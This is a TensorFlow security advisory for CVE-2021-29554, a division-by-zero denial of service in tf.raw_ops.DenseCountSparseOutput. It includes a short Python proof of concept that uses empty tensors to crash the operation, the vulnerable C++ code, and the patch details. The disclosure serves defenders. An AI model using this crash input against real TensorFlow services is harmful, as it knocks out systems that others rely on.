Impact

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.DenseCountSparseOutput:

import tensorflow as tf

values = tf.constant([], shape=[0, 0], dtype=tf.int64)
weights = tf.constant([])

tf.raw_ops.DenseCountSparseOutput(
  values=values, weights=weights,
  minlength=-1, maxlength=58, binary_output=True)

This is because the implementation computes a divisor value from user data but does not check that the result is 0 before doing the division:

int num_batch_elements = 1;
for (int i = 0; i < num_batch_dimensions; ++i) {
  num_batch_elements *= data.shape().dim_size(i);
}
int num_value_elements = data.shape().num_elements() / num_batch_elements;

Since data is given by the values argument, num_batch_elements is 0.

Patches

We have patched the issue in GitHub commit da5ff2daf618591f64b2b62d9d9803951b945e9f.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.

For more information

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Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References

• GHSA-qg48-85hg-mqc5
• https://nvd.nist.gov/vuln/detail/CVE-2021-29554
• tensorflow/tensorflow@da5ff2d